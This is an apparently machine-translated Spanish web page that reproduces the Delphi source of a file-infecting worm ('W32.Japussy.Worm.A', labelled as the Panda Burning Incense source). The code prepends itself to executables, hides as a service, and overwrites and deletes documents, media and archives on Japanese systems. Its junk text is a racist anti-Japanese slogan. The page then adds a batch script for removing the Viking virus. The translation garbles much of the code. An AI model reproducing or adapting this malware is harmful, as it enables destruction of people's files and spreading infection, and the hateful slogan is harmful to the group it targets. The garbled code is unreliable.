Código fuente de Panda Cine y Televisión
Usos
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}.
Constante
HeaderSize = 82432//El tamaño del virus
icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file
p>
//El tamaño compilado en mi Delphi5 SP1 puede variar en otras versiones de Delphi.
//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.
{
header size = 38912; //El tamaño del cuerpo del virus comprimido Upx
IconOffset = $92BC//El icono principal del Upx comprimido Desplazamiento del archivo PE.
//Uso Upx 1.24W: Upx-9-8086 Japussy.exe.
}
IconSize = $2E8//Tamaño del icono principal del archivo PE - 744 bytes
icon tail = desplazamiento del icono+IconSize //Archivo PE principal El cola del icono
ID = $44444444//Marca de infección
//Escribe código basura.
Si hay que eliminar una carrera, debe ser la carrera Yamato. '''''''''''''''' +
Si un país necesita ser destruido, ¡debe ser Japón! ''''''''''''''' +
' ' ' ' ' ' ' ' ' ' ' ' ' ' *** W32. Japussy . Gusano.A * * *
{$R *. RES}
Función RegisterServiceProcess(dwProcessID, tipo dw:Integer):Integer;
stdcall external ' ' ' ' ' ' ' ' ' ' ' ' kernel 32. dll ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ';//Declaración de función
Definir variables
TmpFile:string;
si: información de inicio ;
Pi: información_proceso;
es jap:Boolean = False; //etiqueta del sistema operativo japonés
{Juzga si es Win9x}
La función es win9x:Boolean;
Definir variable
ver:TOSVersionInfo;
Inicio
Resultado:= Falso;
ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);
Si no es GetVersionEx(Ver), entonces
Salir;
si (ver . dwplatformid = VER _PLATFORM_WIN32_WINDOWS) luego //Win9x
resultado:=true;
end;
{copiar entre secuencias }
Secuencia de copia de procedimiento(Src: TStream; sStartPos: entero; dst: TStream;
dStartPos: entero; recuento: entero
Definir variables
); sCurPos, dCurPos: entero;
Inicio
sCurPos := Src. Posición;
dCurPos := Dst. Ubicación;
Src.
Seek(sStartPos, 0);
Horario de verano. Seek(dStartPos, 0);
Horario de verano. CopyFrom(Origen, Conde);
Origen. Seek(sCurPos, 0);
Horario de verano. Seek(dCurPos, 0);
End;
{Separe los archivos host de los archivos PE infectados}
Procesar ExtractFile(filename:char String); p>
Definir variables
sStream, dStream:TFileStream;
Iniciar
Probar
sStream: =TFileStream. Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
Prueba
dStream := TFileStream. create(filename, fmCreate);
Prueba
stream. Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado
dStream. CopyFrom(sStream, sStream.size-header size);
Finalmente
dStream. Gratis;
Fin;
Final
Transmisión. Gratis;
Fin;
Excepto...
Fin;
Fin;
{ Rellenar STARTUPINFO estructura}
Proceso FillStartupInfo(var Si:información de inicio; estado:Word);
Inicio
Si CB:= SizeOf(Si); p>
si .LP reservado:= nil;
si lpdesktop:= nil
si . .dw banderas:= STARTF _ USESHOWWINDOW;
si .wshowindow:= Estado
si . := nil;
Fin;
{Enviar correo electrónico venenoso}
El proceso SendMail
Iniciar
//¿Quién quiere completarlo?
Fin;
{Archivo PE infectado}
Procesar InfectOneFile(nombre de archivo: cadena);
Definir variables
HdrStream, SrcStream:TFileStream;
IcoStream, dst stream:TMemoryStream;
iID:LongInt;
aIcon:TIcon;
p>
Infectado, IsPE:Booleano;
I: Entero;
Buf: Char of array[0..1]
Inicio
p>
Intenta //Error, el archivo está en uso, sal.
Si comparetext(filename, ' ' ' ' ' ' ' ' ' japussy.exe ' ' ' ' ' ' ' ' ') = 0 entonces // si eres tú mismo, no te infectarás.
Salir;
Infectado:= Falso;
IsPE:= Falso;
SrcStream:= TFileStream.
Create(filename, fmOpenRead);
Intente
Para i := 0 a $108, verifique el encabezado del archivo PE.
Iniciar
SrcStream. Buscar(i,sofrombinging);
SrcStream. Read(Buf, 2);
Si (buf[0] = #80) y (buf[1] = #69) entonces //etiqueta PE
Inicio
IsPE:= True; //Es un archivo PE.
Romper;
Fin
Fin
SrcStream. Seek(-4, soFromEnd); //Comprueba el indicador de infección
SrcStream. Cambie a (iID, 4);
Si (iID = ID) o (SrcStream. size & lt10240) entonces // los archivos que sean demasiado pequeños no se infectarán.
Infectado:= Verdadero
Último
SrcStream. Gratis;
Fin;
Si está infectado o (no es IsPE), entonces // Si está infectado o no, el archivo PE sale.
Salir;
IcoStream := TMemoryStream. Crear;
DstStream := TMemoryStream. Crear;
Pruebe
aIcon := TIcon. Crear;
Probar
//Obtener el icono principal (744 bytes) del archivo infectado y almacenarlo en la secuencia.
Aikang. Manija de liberación;
Aikang. Identificador := ExtractIcon(HInstance, PChar(FileName), 0
Aikang. SaveToStream(IcoStream);
Finalmente
IcoStream. Gratis;
Fin;
SrcStream := TFileStream. Create(filename, fmOpenRead);
//Archivo de encabezado
HdrStream := TFileStream. Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
Probar
//Escribir datos antes del icono principal del virus.
CopyStream(HdrStream, 0, DstStream, 0, icon offset);
//Escribe el icono principal del programa actual.
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//Escribe los datos del icono principal del virus en la cola del virus.
CopyStream(HdrStream, IconTail, DstStream, IconTail, tamaño del encabezado-icono de cola);
//Escribir en el programa host
CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream size);
//Escribir bandera infectada
DstStream. Buscar(0, 2);
iID:= $4444444;
DstStream. Write(iID, 4);
Finalmente
HdrStream. Gratis;
Fin;
Finalmente
SrcStream. Gratis;
IcoStream. Gratis;
DstStream.
SaveToFile(filename); //Reemplazar el archivo host
DstStream. Gratis
Fin
Excepto;
Fin
Fin
{Escribe el archivo de destino; Eliminar spam después de ingresarlo}
Procedimiento SmashFile (nombre de archivo: cadena);
Definir variables
FileHandle: entero;
I , Tamaño, Masa, Máx., Longitud: entero;
Iniciar
Probar
setfile atributos(PChar(FileName), 0 // Eliminar lectura-); único atributo
FileHandle := FileOpen(filename, fmOpenWrite); //Abrir archivo
Probar
Tamaño := GetFileSize(FileHandle, nil ); Tamaño del archivo
I:= 0;
Aleatorización;
max:= Random(15); //Aleatorio para escribir código basura Veces
Si Max & lt entonces 5
max:= 5;
mass:= Size div Max //El tamaño de cada bloque de intervalo
Len := Longitud(eslogan);
Y<Max·Do
Iniciar
FileSeek(FileHandle, i * Mass, 0 //Posicionamiento); p>
//Escribe código basura para destruir completamente el archivo.
FileWrite(FileHandle, Catchword, Len);
Inc(1);
Fin
Finalmente
<; p>file close(file handle); //Cerrar el archivoFin;
DeleteFile(PChar(nombre de archivo)); //Eliminarlo
Eliminar...fuera
End;
End;
{Obtener la lista de unidades grabables}
Función obtener unidades:cadena
Definir variables
tipo de disco:Word;
d:Char;
Str: cadena;
I: entero;
Inicio
Para i := 0 a 25, haz // Atraviesa 26 letras.
Inicio
d:= Chr(I+65);
str:= D+"""""""":\"""" """""""";
tipo de disco:= obtener tipo de unidad(PChar(Str));
//Obtener el disco local y el disco de red.
Si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado:=resultado+D;
Fin;
Fin;
{Atravesar directorios, infectar y destruir archivos}
Procesar LoopFiles(ruta, máscara: cadena);
Definir variables
I, recuento: entero;
Fn, Ext: cadena;
SubDir: t cadenas
búsqueda rec: TSearchRec
msg:TMsg;
la función es validir(search rec:TSearchRec):Integer;
Iniciar
if (SearchRec.Attr & lt& gt16) y ( BuscarRec.
Nombre& lt& gt''''''''''''''.'''''''''''') y
(BuscarRec. Nombre& lt& gt' '''''''''''''''..'''''''''''') luego
Resultado:= 0 //No es un directorio.
de lo contrario si (SearchRec.Attr = 16) y (SearchRec.Name<>''''''''''''''.''''''''' ''' '') y
(SearchRec.Name<& gt''''''''''''''..''''''''''' ''') luego
Resultado:= 1 //No es el directorio raíz.
else resultado:= 2; // es el directorio raíz.
Fin;
Inicio
si (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) entonces
Inicio p> p>
Repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas.
Si IsValidDir(SearchRec) = 0, entonces
Inicio
Fn:= Ruta + SearchRec. Nombre;
Ext :=uppercase(ExtractFileExt(Fn));
if (Ext = ' ' ' ' ' ' ' ' ' ' ' '. EXE ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. SCR ' ' ' ' ' 'Entonces
Iniciar
Archivo de infección (Fn); //Archivo ejecutable infectado
End
else if (Ext = ' ' ' ' ' ' ' ' ' ' ' '. HTM ' ' ' ' ' ' ' ' ' ' ' o (externo = ' ' ' ' ' ' ' ' ' ' ' ' '. HTML ' ' ' ' ' ' ' ' ' ' ' o ( Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.ASP ' ' ' ' ' 'Luego
Iniciar
//Infectar archivos HTML y ASP, escribir un virus codificado en Base64.
//Infectar a todos los usuarios que navegan por esta página web
Fin
En caso contrario, if ext = ' ' ' ' ' ' ' ' ' ' ' '. ' ' ' ' ' luego //Archivo de libreta de direcciones de Outlook p>Inicio
//Obtener dirección de correo electrónico de Outlook
Fin
De lo contrario, si ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. ADC ' ' ' ' 'Entonces //archivo de autocompletar dirección de Foxmail
//Obtener dirección de correo electrónico de Foxmail
Fin
De lo contrario, si text = ' ' ' ' ' ' ' ' ' ' ' ' ' ' IND ' ' ' ' ' ' ' ' ' ' entonces //archivo de la libreta de direcciones de Foxmail.
Inicio
//Obtener dirección de correo electrónico de Foxmail
Fin
Otros
Inicio
Si es IsJap entonces // es un sistema operativo japonés.
Inicio
if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '.DOC ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MDB ' ' ' ' ' ' ' ' ' ' ') o
(Ext=""""""""". MP3""""""""o(Ext="" """"""RM ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. RA ' ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. WMA ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. ZIP ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. RAR ' ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. MPEG ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. ASF ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.JPG ' ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' '. JPEG ' ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. GIF ' ' ' ' ' ' ' ' ' ' ' ' ' ' o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '. SWF ' ' ' ' ' ' ' ' ' ') o
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' '. PDF ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '. CHM ' ' ' ' ' ' ' ' ' ' ' 'o (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' '.AVI ' ' ' ' ' 'Entonces
smash file(Fn); // Destruye el archivo
Fin;
Fin;
Fin;
//Hibernar durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por un uso elevado de la CPU. >
Dormir(200);
Hasta (BuscarSiguiente(búsqueda de registro)<& gt0);
Fin;
BuscarCerrar(búsqueda de registro) ;
SubDir := TStringList.
Crear;
if(FindFirst(Ruta+' ' ' ' ' ' ' ' ' ' ' ' *.* ' ' ' ' ' ' ' ' ', faDirectory, SearchRec) = 0) entonces p>
Inicio
Repetir
Si IsValidDir(SearchRec) = 1, entonces
SubDir. Agregar(SearchRec.Name);
Hasta(FindNext(search rec)<>0);
Fin;
FindClose(search rec ); p>
Contar := SubDir. count-1;
Para i := 0 para contar hacer
Archivo de bucle (ruta+subdirectorio.String+' ' ' ' ' ' ' ' ' ' \ ' ' ' ' ' ' ' ' ', máscara);
FreeAndNil(SubDir);
End;
{Recorrer todos los archivos en el disco }
Procesar archivo de infección;
Definir variables
lista de controladores: cadena;
I, Len: entero;
Iniciar
Si GetACP = 932, entonces //sistema operativo japonés
IsJap:= True //¡Vete al infierno!
lista de controladores:= obtener unidades; //Obtener la lista de discos grabables
len:= Longitud(lista de controladores);
Mientras sea Verdadero, //Ilimitado Bucle
Inicio
For i := Len downto 1 do //Repita cada unidad de disco.
archivos de bucle (lista de controladores+"""""":\"""""""""""""""*"*'''''' ''''' ''''');//Infectado
SendMail//Enviar correos electrónicos venenosos
Dormir (1000 * 60 * 5); //Dormir durante 5 minutos
Fin;
Fin;
{Se inicia el programa principal}
Inicio
Si es Win9x, entonces/ / es Win9x.
RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.
else //WinNT
Inicio
//El subproceso remoto se asigna al proceso del administrador de recursos.
//¿Qué hermano está dispuesto a completarlo?
Fin;
//Si es el virión original.
Si se compara texto(extraer nombre de archivo(ParamStr(0)), ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' Japussy.exe'''''''''''''') = 0, luego
Archivos infectados//Infecciones y correos electrónicos< / p>
Else //Ha sido parasitado en el programa host y comenzó a funcionar.
Inicio
TmpFile:= ParamStr(0); //Crea un archivo temporal
Delete(TmpFile, Longitud(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 +' ' ' ' ' ' ' ' ' ' '. exe//Archivo host real, con un espacio más.
extraer archivo(TmpFile); //Separarlo
FillStartupInfo(Si, SW_show default);
CreateProcess(PChar(TmpFile),PChar( TmpFile) , nil, nil, Verdadero,
0, cero, ' ' ' ' ' ' ' ' ' ' '. '''''''''''', Si, Pi); //Crea un nuevo proceso para ejecutar.
InfectFiles//Infecciones y Correos Electrónicos
Fin;
Fin.
Por favor indique la fuente de www.honkercn.net, el amigo que lo reenvió.
El siguiente es el proceso para la eliminación por lotes de los virus Weijin y Panda Burning Incense.
@Close Echo
Herramienta de título para eliminar la última variante del virus VIKING (logo_1, panda quemando incienso)
Herramienta @echo, utilizada para eliminar la última variante del virus VIKING
Abortar
Ifexist%windir%\rundl132. exe echo - ¡Informe al jefe que hay una emboscada del virus vikingo! Déjame matarlo -
Ifexist% windir%\logo_1. exe echo-informe al jefe que hay una emboscada del virus vikingo. Déjame matarlo -
//Matar proceso vikingo
tskill logo_1
tskill rundl132
tskill zt
Tskillwa
tskill logo1__
Tskill Ravmon
Tskill Egghorst
Tskiel Melmon
Tskiel KAVPFW
Tskiel Ipamore
Tskiel Ravmond
taskkill /f/im 0sy.exe
taskkill /f /im 1sy.exe
taskkill /f/im 2sy.exe
taskkill/f/im 3sy.exe
taskkill/f/im 4sy.exe
taskkill/f /im 5sy.exe
taskkill/f/ soy 6sy.exe
taskkill/f/im 7sy.exe
taskkill/f/im 8sy.exe
taskkill/f/im 9sy.exe
//Eliminar troyano
del d:\_desktop.ini /f/s/q/a p>
del c:\ Archivos de programa\_desktop .
del % Windir %\ mic know \ mic know
del %Windir%\MH_FILE\MH_DLL. .dll
del %Windir%\_desktop.ini
del % Windir %\today ztking\today ztking.
Biblioteca de enlaces dinámicos
attrib -h -r -s c:\go.exe
del c:\go.exe
del c:\setup.exe
attrib -h -s -r c:\autorun.inf
del c:\autorun.inf
attrib -h -r -s d:\go .exe
del d:\go.exe
del d:\setup.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf
del e:\setup.exe
attrib -h -r -s e:\go.exe
del e:\go.exe
attrib -h -s -r e:\autorun.inf
del e:\autorun.inf
attrib -h -r -s f:\go.exe
del f:\go.exe
del f:\setup.exe
attrib -h -s -r f:\autorun.inf
del f:\autorun.inf
attrib -h -r -s g:\go.exe
del g:\go.exe
del g:\setup.exe
attrib -h -s -r g:\autorun.inf
del g:\ autorun.inf
del h:\go.exe
del h:\setup.exe
attrib -h -s -r g:\autorun.inf
del h:\autorun.inf
del i:\go.exe
attrib -h -s -r g:\autorun.inf
del i:\autorun.inf
del i:\setup.exe
del j:\go.exe
attrib -h - s -r g:\autorun.inf
del j:\autorun.inf
del j:\setup.exe
del % windir %\system\ logotipo 1 _. exedel % windir %\system\Logo_1 exe
del %windir%\rundl132.exe
del %windir%\vDll.dll
del. %windir%\Dll.dll
del %windir%\0Sy.exe
del %windir%\1Sy.exe
del %windir%\2Sy .exe
del %windir%\3Sy.exe
del %windir%\5Sy.exe
del %windir%\1.com
@ echo _Informe al jefe que todos los vikingos han sido ejecutados.
@echo está muy cansado. Inmuniza tu sistema nuevamente. Si no lo necesita, salga directamente.
Abortar
//Sistema inmunológico
echo & gt%windir%\Logo1_.
Extensión del programa ejecutable
echo & gt%windir%\rundl132.exe
echo & gt%windir%\0Sy.exe
echo & gt %windir %\vDll.dll
echo & gt%windir%\1Sy.exe
echo & gt%windir%\2Sy.exe
echo & gt% windir%\rundll32.exe
echo & gt%windir%\3Sy.exe
echo & gt%windir%\5Sy.exe
echo & gt %windir%\1.com
echo & gt%windir%\exerouter.exe
echo & gt%windir%\EXP10RER.com
eco & gt%windir%\finders.com
echo & gt%windir%\Shell.sys
echo & gt%windir%\kill.exe
echo & gt%windir%\sws.dll
echo & gt%windir%\sws32.dll
echo & gt% windir %\uninstall\rundl 132 p>.
echo & gt%windir%\SVCHOST.exe
echo & gt%windir%\WINLOGON.exe
echo & gt%windir%\RUNDLL32. Extensión del programa ejecutable
echo & gtC:\ "Archivo de programa" \svchost.exe
echo & gtC:\ "Archivo de programa" Internet Explorer " \svchost.exe< / p>
echo & gt%windir%\Download\svchost.exe
echo & gt%windir%\system32\wldll.dll
attrib %windir%\Logo1_ .
exe +s +r +h
atributo % windir % \ rundl 132 .exe+s+r+h
atributo %windir%\0Sy.exe +s +r +h.
attrib %windir%\vDll.dll +s +r +h
attrib % windir %\ 1sy exe+s+r+h
attrib. %windir%\2Sy.exe +s +r +h
atributo % windir %\ rundll32 exe+s+r+h
atributo %windir%\3Sy.exe +. s +r +h
attrib %windir%\5Sy.exe +s +r +h
attrib % windir % \ 1 com+s+r+h
attrib % windir % \ exe enrutador . exe+s+r+h
attrib % windir % \ exp 10 rer com+s+r+h
attrib. % windir % \ finders . com+s+r+h
attrib %windir%\Shell.sys +s +r +h
attrib %windir%\kill.exe + s +r +h
atributo %windir%\sws.dll +s +r +h
atributo %windir%\sws32.dll +s +r +h
attrib % windir % \ uninstall \ rundl 132 .
attrib % windir % \ svchost . %windir%\winlogon.exe+s+r+h
atributo %windir%\RUNDLL32. EXE +s +r +h
attrib C:\ "Archivos de programa" \svchost.exe +s +r +h
attrib C:\ "Archivos de programa" \ Internet Explorer " \ svchost . exe+s+r+h
attrib % windir % \ Descargar \ svchost . exe+s+r+h
attrib % windir % \ system32 \ wldll . dll+s+r+h
Participación neta c USD/del
Participación neta d USD/del
Participación neta e USD/del
Participación neta f USD/del
Participación neta gastos administrativos/del
Participación neta ipc$ /del
cls
@echo -
@echo Viking ha sido asesinado por mí. Ja, ¿no es increíble?
El sistema @echo ha sido inmune con éxito. ¡Gracias por usarlo, reinicie! tu computadora
@echo -
Abortar